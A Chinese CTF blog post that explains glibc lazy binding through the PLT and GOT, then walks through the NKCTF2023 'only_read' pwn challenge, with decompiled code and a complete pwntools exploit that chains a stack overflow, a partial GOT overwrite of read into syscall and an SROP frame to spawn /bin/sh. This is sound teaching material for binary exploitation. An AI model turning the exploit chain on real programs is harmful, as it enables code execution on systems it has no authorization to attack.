Skip to content

延迟绑定及利用

· 1,410 字 · stack

前言#

通常来说 我们想要通过A函数来调用B函数 最常用的办法是覆盖函数A的got表

但是这种做法存在一种弊端 这里我们先不提及 在下面会逐渐揭示 我们先来了解一下函数的动态链接到底是怎么实现的

原理分析#

我们知道 对于一个c语言程序来说 其从.c文件编译成为一个可执行文件 一共需要四个步骤

分别是预处理 编译 汇编 链接 这里这把链接展开说

链接分为静态链接和动态链接 这里的静态动态是对于函数的调用来说的

静态链接出来的二进制文件通常是要大于动态链接的 是因为其包括了完整的静态库

而动态链接则是在程序运行时 再去通过操作系统自带的动态链接库索引

这种操作称之为延迟绑定 延迟绑定的实现主要是由plt表 got表 got.plt表这三个实现

全局偏移表是对got表和got.plt表的统称 其中got表存放供外部变量引用的地址 got.plt表则是延迟绑定利用的关键 存放外部函数引用的地址

got.plt表相当于一个数组 其固定拥有三个元素 从0到2分别占据数组 依次存放

dynamic段的地址 本模块的ID _dl_runtime_resolve函数的地址

dynamic段供动态链接器提取动调链接信息 ID则是用来索引不同的函数 dl_runtime_resolve负责解析出函数的真实地址

image-20230328201900138

接下来看一下一个函数是如何进行延迟绑定 获取到真实地址的

对于一个函数来说 在其还没有被第一次调用前 其存储的是.plt表上的地址

image-20230328203845367

以puts函数为例

image-20230328203922386

这里的0x0就是其模块ID 随后跳转到0x401020上

image-20230328204011873

在这里索引到全局偏移表中的GOT[1] 在这里压入模块ID

image-20230328204147337

随后通过_dl_runtime_resolve函数获取到真实地址

image-20230328204228032

随后根据模块ID 放入GOT数组中对应位置

实操演示#

上面说到过 通过覆盖got表来实现函数误导调用有一种弊端 就是在我们下面这种办法的利用中 必须选择延迟绑定的利用方法 跟着我来看一下吧

所选例题是NKCTF2023的only_read libc版本为2.31 9.9

image-20230328205725939

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [rsp+0h] [rbp-80h] BYREF
char s[64]; // [rsp+40h] [rbp-40h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "Welcome to NKCTF!") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "tell you a secret:") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( strcmp(s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( !strcmp(s1, "can you find me?") )
next();
return 0;
}

为了不通过puts等输出函数来书写字符串 利用strcmp函数来对比base64加解密的字符串 这里就不解释了

来看一下next函数

ssize_t next()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
return read(0, buf, 0x200uLL);
}

很明显的栈溢出漏洞 但是难点在于说没有给任何的输出函数 也就是说没有办法泄露libc地址(实际上是可以的 覆盖got表爆破 但是这里不用这种办法)

这种情况极大程度上限制了我们的利用 不过还是可以通过Srop的方法来getshell

为了促成srop 我们就需要使得控制rax寄存器的值为15 随后syscall系统调用 但是这题没有直接给控制rax的指令 这个时候我们要联想到 大部分函数执行完都是有返回值的 而这个返回值就是用rax寄存器存储的 这里采用read函数来控制rax寄存器 那么syscall要如何解决呢 这题同样也是没有syscall函数的

不知道你有没有s进入read函数中看其是如何调用的 实际上read函数是通过syscall实现的

image-20230328211707161

同时注意一下 syscall和read函数的起始地址 只差在倒数第二位

image-20230328212310508

如果我们覆盖read函数的got表 执行read函数就相当于执行syscall 但是此时read函数也就相当于废掉了 相当于syscall了 我们还怎么利用read函数来控制rax寄存器呢

这个时候就用到延迟绑定了 我们直接把其他函数的got表改为read函数在plt表上的地址 这样就相当于再次延迟绑定一次 也就相当于调用了read函数 不过这样子会使得read函数的got表恢复为原来的值 需要我们重新留覆盖一下

from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("ctf.comentropy.cn",8301)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()
io.send(b"V2VsY29tZSB0byBOS0NURiE=")
sleep(0.1)
io.send(b"dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(0.1)
io.send(b"SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(0.1)
io.send(b"Y2FuIHlvdSBmaW5kIG1lPw==")
rdi_addr = 0x0000000000401683
rsi_r15_addr = 0x0000000000401681
ret_addr = 0x000000000040101a
leave_addr = 0x00000000004013c2
next_addr = elf.sym['next']
bss_addr = elf.bss(0x600)
rsp_r13_r14_r15_addr = 0x000000000040167d
payload = cyclic(0x38)+p64(rdi_addr)+p64(0)
payload += p64(rsi_r15_addr)+p64(elf.got['memset'])+p64(0)+p64(elf.plt['read'])
payload += p64(rdi_addr)+p64(0)
payload += p64(rsi_r15_addr)+p64(bss_addr)+p64(0)+p64(elf.plt['memset'])
payload += p64(rsp_r13_r14_r15_addr)+p64(bss_addr-0x10)
# gdb.attach(io,'b *0x4013E8')
# pause(0)
io.send(payload)
sleep(0.1)
payload = p64(0x401050)+b'\xd0'
# gdb.attach(io,'b *'+str(rsi_r15_addr))
# pause(0)
io.send(payload)
sleep(0.1)
frame = SigreturnFrame()
frame.rax = 59
frame.rsi = 0
frame.rsi = 0
frame.rdi = bss_addr
frame.rip = elf.plt['read']
payload = b'/bin/sh\x00'+p64(rdi_addr)+p64(0)
payload += p64(rsi_r15_addr)+p64(elf.got['memset']-0x6)+p64(0)+p64(elf.plt['memset'])
payload += p64(elf.plt['read'])+bytes(frame)
# gdb.attach(io,'b *'+str(rsp_r13_r14_r15_addr))
# pause(0)
io.send(payload)
sleep(0.1)
payload = cyclic(0x6)+p64(0x401050)+b'\xd0'
# gdb.attach(io,'b *'+str(elf.plt['read']))
# pause(0)
io.send(payload)
io.interactive()